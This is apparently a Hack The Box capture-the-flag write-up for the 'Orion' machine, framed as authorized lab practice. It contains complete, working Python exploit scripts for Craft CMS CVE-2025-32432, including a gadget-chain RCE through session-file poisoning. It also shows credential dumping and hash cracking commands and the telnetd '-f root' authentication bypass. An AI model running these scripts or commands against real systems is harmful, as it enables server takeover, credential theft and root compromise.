HTB Orion Writeup
Linux writeup chaining CraftCMS pre-auth RCE (CVE-2025-32432), a phpinfo environment leak, MySQL credential dumping, bcrypt cracking, and a telnetd authentication bypass (CVE-2026-24061) for root.
Machine Overview
Machine: Orion
OS: Linux
Difficulty: Very Easy
Attack path: CraftCMS RCE → phpinfo leak → MySQL credentials → bcrypt hash cracking → SSH as adam → localhost telnetd authentication bypass → root
Orion is a Linux machine running a vulnerable CraftCMS instance. The foothold comes from abusing CVE-2025-32432, a CraftCMS pre-authenticated RCE issue affecting Craft versions before 5.6.17. NVD describes the vulnerability as remote code execution in Craft CMS and lists the fixed versions as 3.9.15, 4.14.15, and 5.6.17. Craft’s own advisory also mentions suspicious exploitation attempts targeting actions/assets/generate-transform, which matched the endpoint used during exploitation.
After RCE, phpinfo() exposed Craft environment variables, including local MySQL credentials. Those credentials allowed dumping the Craft users table, cracking a bcrypt password, and logging in over SSH as adam. Root was obtained through CVE-2026-24061, a GNU Inetutils telnetd authentication bypass where the USER environment variable can be set to -f root. NVD describes this as a remote authentication bypass in GNU Inetutils telnetd through version 2.7.
Attack Chain Summary
1. Enumerate TCP ports.
2. Discover CraftCMS on HTTP.
3. Identify vulnerable CraftCMS behavior.
4. Abuse CVE-2025-32432 to trigger phpinfo().
5. Extract Craft environment variables from phpinfo().
6. Use leaked MySQL root credentials locally through RCE.
7. Dump Craft users table.
8. Crack bcrypt hash for adam.
9. SSH as adam.
10. Find localhost-only telnetd.
11. Abuse CVE-2026-24061 with telnet -a -l "-f root".
12. Read root flag.
1. Enumeration
Nmap Scan
I started with a focused scan against the target.
nmap -sC -sV -oA scans/services orion.htb
Important services:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx 1.18.0
Later, I also checked common pivot ports:
nmap -Pn -p3306,23,22,80 -sV orion.htb
Result:
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
3306/tcp closed mysql
This mattered because MySQL and Telnet were not externally reachable. So if MySQL credentials were found later, I would need to use them from the target itself, not directly from Kali.
2. Web Enumeration
Browsing to:
http://orion.htb
showed the Orion Telecom website. The interesting part was the CraftCMS backend:
/admin/login
The login page identified CraftCMS. From the version information, the target was running a vulnerable CraftCMS build in the affected range for CVE-2025-32432.
Why CraftCMS Was Interesting
CraftCMS had a known pre-authenticated RCE through the image transform endpoint:
/actions/assets/generate-transform
The bug chain abuses Yii object creation behavior through crafted JSON. In this box, the useful gadget path was:
craft\behaviors\FieldLayoutBehavior
GuzzleHttp\Psr7\FnStream
yii\rbac\PhpManager
The first successful primitive was calling phpinfo() through FnStream.
3. Initial Exploit Attempts and Debugging
I first tried public PoCs.
Exploit-DB PoC
Searchsploit showed:
Craft CMS 5.6.16 - RCE | multiple/webapps/52525.py
But running the Exploit-DB PoC failed:
python3 52525.py -u http://orion.htb -c 'id'
Output:
[-] Failed to obtain PHPSESSID
This happened because the PoC expected a PHPSESSID cookie, but Orion used:
CraftSessionId
So the exploit logic was close, but not directly compatible with this target.
Log Poisoning PoC
Another PoC tried to poison:
/var/log/nginx/access.log
The issue was that the log was already polluted by an older PHP block containing exit;. Because PHP processes the file from the beginning, the old exit; stopped execution before the new payload could run. The PoC repeatedly reported that markers were not found and that the access log was polluted.
This was the important decision point: instead of wasting time patching the access log approach, I switched to the intended Craft object-injection chain.
4. Confirming Code Execution with phpinfo()
The first working payload used FnStream to call phpinfo().
PHPInfo Exploit
cat > orion_phpinfo.py <<'PY'
#!/usr/bin/env python3
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE = "http://orion.htb"
ASSET_ID = 2
s = requests.Session()
s.verify = False
s.headers.update({
"User-Agent": "Mozilla/5.0",
"Accept": "application/json, text/html,*/*",
})
r = s.get(f"{BASE}/actions/users/session-info", headers={"Accept": "application/json"}, timeout=10)
j = r.json()
csrf_name = j.get("csrfTokenName", "CRAFT_CSRF_TOKEN")
csrf_value = j["csrfTokenValue"]
print(f"[+] CSRF name : {csrf_name}")
print(f"[+] CSRF value: {csrf_value[:40]}...")
payload = {
"assetId": ASSET_ID,
"handle": {
"width": 123,
"height": 123,
"as g10d": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
},
csrf_name: csrf_value
}
headers = {
"Content-Type": "application/json",
"X-CSRF-Token": csrf_value,
"X-Requested-With": "XMLHttpRequest",
}
url = f"{BASE}/actions/assets/generate-transform"
r = s.post(url, json=payload, headers=headers, timeout=20)
print(f"[+] HTTP {r.status_code}")
open("phpinfo.html", "w", encoding="utf-8", errors="ignore").write(r.text)
if "PHP Version" in r.text:
print("[+] phpinfo() executed. Saved: phpinfo.html")
else:
print("[-] phpinfo marker not found.")
print(r.text[:1000])
PY
python3 orion_phpinfo.py
Output:
[+] CSRF name : CRAFT_CSRF_TOKEN
[+] CSRF value: 8gug6CUKCG-2VJLPNX9g_BhiIhfIH6DdefRepd0B...
[+] HTTP 200
[+] phpinfo() executed. Saved: phpinfo.html
This proved the CraftCMS object injection was working.
Why phpinfo() Worked
FnStream can call a PHP function when the object is destroyed. phpinfo() is useful because it takes no required arguments. That is why it worked immediately.
A direct system("id") style payload did not work through the same FnStream path, because system() needs an argument. So the next goal was to leak environment variables from phpinfo().
5. Extracting Craft Environment Variables
I parsed phpinfo.html for useful values:
python3 - <<'PY'
import re, html
data = open("phpinfo.html", encoding="utf-8", errors="ignore").read()
rows = re.findall(
r'<tr><td class="e">([^<]+)</td><td class="v">([^<]*)</td></tr>',
data
)
keywords = [
"CRAFT", "DB", "DATABASE", "MYSQL", "MARIADB",
"USER", "PASS", "PASSWORD", "SECURITY", "KEY",
"DSN", "HOST", "SERVER", "ENV", "DOCUMENT_ROOT",
"SCRIPT_FILENAME"
]
for k, v in rows:
kk = html.unescape(k)
vv = html.unescape(v)
line = f"{kk}={vv}"
if any(word.lower() in line.lower() for word in keywords):
print(line)
PY
Important leaked values:
USER=www-data
CRAFT_ENVIRONMENT=dev
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=[REDACTED_PASSWORD]
The phpinfo output confirmed the Craft DB configuration, including local MySQL on 127.0.0.1:3306, database orion, user root, and password [REDACTED_PASSWORD].
Why This Was Important
Since external port 3306 was closed, I could not connect to MySQL directly from Kali. But with RCE as www-data, I could execute the mysql client locally on the target and query the database.
6. Building Reliable RCE
The successful full RCE used a two-stage session poisoning method:
-
Send raw PHP into the Craft session.
-
Force Yii
PhpManagerto include the session file.
The working session file path on Orion was:
/var/lib/php/sessions/sess_<CraftSessionId>
Not:
/tmp/sess_<CraftSessionId>
Working RCE Script
cat > orion_rce_raw.py <<'PY'
#!/usr/bin/env python3
import argparse
import base64
import urllib.parse
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url)
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
BASE = "http://orion.htb"
ASSET_ID = 2
def get_csrf_from_session_info(s):
r = s.get(
f"{BASE}/actions/users/session-info",
headers={"Accept": "application/json"},
verify=False,
timeout=10
)
j = r.json()
return j.get("csrfTokenName", "CRAFT_CSRF_TOKEN"), j["csrfTokenValue"]
def exploit(cmd):
s = requests.Session()
s.verify = False
s.headers.update({"User-Agent": "Mozilla/5.0"})
b64 = base64.b64encode(cmd.encode()).decode()
php = f'<?=print("===START===\\n");system(base64_decode("{b64}"));print("\\n===END===");die();?>'
poison_url = f"{BASE}/index.php?p=admin/dashboard&a={php}"
print("[*] Poisoning Craft session with raw PHP payload")
r = s.get(poison_url, allow_redirects=True, verify=False, timeout=10)
sid = s.cookies.get("CraftSessionId")
if not sid:
raise SystemExit("[-] No CraftSessionId")
print(f"[+] CraftSessionId: {sid}")
csrf_name, csrf_value = get_csrf_from_session_info(s)
print(f"[+] CSRF: {csrf_value[:40]}...")
for session_file in [
f"/tmp/sess_{sid}",
f"/var/lib/php/sessions/sess_{sid}",
]:
print(f"[*] Trying itemFile: {session_file}")
body = {
"assetId": ASSET_ID,
"handle": {
"width": 1,
"height": 1,
"as g10d": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": session_file
}
]
}
},
csrf_name: csrf_value
}
r = s.post(
f"{BASE}/index.php?p=actions/assets/generate-transform",
json=body,
headers={
"X-CSRF-Token": csrf_value,
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/json"
},
verify=False,
timeout=20
)
open("rce_raw_response.html", "w", encoding="utf-8", errors="ignore").write(r.text)
if "===START===" in r.text:
out = r.text.split("===START===", 1)[1].split("===END===", 1)[0]
print("[+] RCE WORKED")
print(out.strip())
return
print(f"[-] HTTP {r.status_code}, no marker")
print("[-] RCE marker not found. Saved last response to rce_raw_response.html")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("-c", "--cmd", required=True)
args = ap.parse_args()
exploit(args.cmd)
if __name__ == "__main__":
main()
PY
chmod +x orion_rce_raw.py
RCE Test
python3 orion_rce_raw.py -c 'id'
Output:
[*] Poisoning Craft session with raw PHP payload
[+] CraftSessionId: u7f2bf7njfulm97camtl40btn8
[+] CSRF: k4Sq3JkjCM4RqokV1eFhs__5o41oBUiTCwmnRCS4...
[*] Trying itemFile: /tmp/sess_u7f2bf7njfulm97camtl40btn8
[-] HTTP 500, no marker
[*] Trying itemFile: /var/lib/php/sessions/sess_u7f2bf7njfulm97camtl40btn8
[+] RCE WORKED
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now I had command execution as:
www-data
7. Dumping the MySQL Database
Using the leaked credentials, I queried local MySQL through RCE:
python3 orion_rce_raw.py -c 'mysql -uroot -p[REDACTED_PASSWORD] orion -e "SHOW TABLES;"'
Output included many CraftCMS tables:
addresses
announcements
assets
entries
sessions
users
usergroups
userpermissions
...
The key table was:
users
So I dumped it:
python3 orion_rce_raw.py -c 'mysql -uroot -p[REDACTED_PASSWORD] orion -e "SELECT id,username,email,password FROM users;"'
Output:
id username email password
1 admin adam@orion.htb [REDACTED_HASH]
The email revealed a likely Linux user:
adam
8. Cracking the Craft Hash
The hash started with:
$2y$13$
That means bcrypt. In Hashcat, bcrypt uses mode 3200.
I saved the hash:
cat > hash.txt <<'EOF'
[REDACTED_HASH]
EOF
Then cracked it:
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 hash.txt --show
Result:
[REDACTED_HASH]:[REDACTED_PASSWORD]
Credentials:
adam : [REDACTED_PASSWORD]
9. SSH as Adam
Before SSH, I confirmed adam existed:
python3 orion_rce_raw.py -c 'cat /etc/passwd | grep -E "bash|sh$"'
Output:
root:x:0:0:root:/root:/bin/bash
adam:x:1000:1000::/home/adam:/bin/bash
Then I logged in:
ssh adam@orion.htb
Password:
[REDACTED_PASSWORD]
After login:
id
hostname
cat /home/adam/user.txt
Output:
uid=1000(adam) gid=1000(adam) groups=1000(adam)
orion
[REDACTED_FLAG]
This confirmed user access and the user flag.
10. Privilege Escalation Enumeration
Since the machine description hinted at Telnetd, I checked local services:
ss -lntp | grep -E ':23|telnet'
dpkg -l | grep -Ei 'inetutils|telnet'
systemctl status inetutils-inetd 2>/dev/null
find / -name '*telnet*' 2>/dev/null
Important output:
LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
ii inetutils-inetd 2:2.2-2ubuntu0.2
/usr/local/sbin/telnetd
/usr/libexec/telnetd
This showed Telnet was only listening on localhost:
127.0.0.1:23
That explains why external Nmap showed port 23 as closed. The service was not exposed externally, but it was reachable from the SSH session as adam. The local enumeration also confirmed inetutils-inetd was active and telnet-related binaries existed on the system.
11. Understanding CVE-2026-24061
CVE-2026-24061 is an authentication bypass in GNU Inetutils telnetd. NVD describes the issue as telnetd in GNU Inetutils through 2.7 allowing remote authentication bypass via a "-f root" value for the USER environment variable.
The reason this works is that telnetd passes the attacker-controlled username into the system login process. If the username becomes:
-f root
then /bin/login interprets it as:
login -f root
The -f option means “pre-authenticated user,” so login skips the password check and gives a root shell. Censys describes this as improper sanitization of the USER environment variable before passing it to login(1), allowing -f root to log in as root.
12. Exploiting Telnetd
My first attempt failed:
telnet -l '-froot' 127.0.0.1
Output:
Usage: login [-p] [name]
login [-p] [-h host] [-f name]
login [-p] -r host
Connection closed by foreign host.
The mistake was subtle:
-froot
is not the same as:
-f root
The space matters because login expects -f and the username as separate arguments.
The working command was:
telnet -a -l "-f root" 127.0.0.1
That dropped me into a root shell:
root@orion:~#
Then:
id
whoami
cat /root/root.txt
Output:
uid=0(root) gid=0(root) groups=0(root)
root
[REDACTED_FLAG]
The final successful exploitation and root flag are shown in the terminal output.
Flags
user.txt: [REDACTED_FLAG]
root.txt: [REDACTED_FLAG]
Key Takeaways
1. Do not blindly trust public PoCs
The first PoCs failed because they made assumptions that did not match Orion:
PHPSESSID expected, but target used CraftSessionId
/tmp session path tested, but target used /var/lib/php/sessions
access.log poisoning failed because old PHP exit blocks broke execution
The fix was not to keep retrying the same exploit. The fix was to understand the vulnerability chain and adapt it.
2. phpinfo() can be a powerful foothold primitive
Even when full command execution was not immediately working, phpinfo() leaked:
CRAFT_DB_SERVER
CRAFT_DB_DATABASE
CRAFT_DB_USER
CRAFT_DB_PASSWORD
CRAFT_SECURITY_KEY
That gave the next step: database access.
3. Local-only services still matter
External scan showed:
23/tcp closed
3306/tcp closed
But internally:
127.0.0.1:23 open
127.0.0.1:3306 used by Craft
So SSH access changed the attack surface.
4. Password reuse completed the foothold
The Craft user was:
admin / adam@orion.htb
The cracked password:
[REDACTED_PASSWORD]
worked for the Linux user:
adam
5. Small argument formatting mistakes matter
This failed:
telnet -l '-froot' 127.0.0.1
This worked:
telnet -a -l "-f root" 127.0.0.1
The exploit required the argument split to become:
-f root
not:
-froot
Final Attack Path
CraftCMS 5.6.16
↓
CVE-2025-32432 via actions/assets/generate-transform
↓
FnStream phpinfo()
↓
Leak Craft DB credentials
↓
RCE executes local mysql client
↓
Dump Craft users table
↓
Crack bcrypt hash: [REDACTED_PASSWORD]
↓
SSH as adam
↓
Find localhost telnetd
↓
CVE-2026-24061: telnet -a -l "-f root" 127.0.0.1
↓
root

Authorized security practice only. These notes are for lab, CTF, and explicitly permitted environments.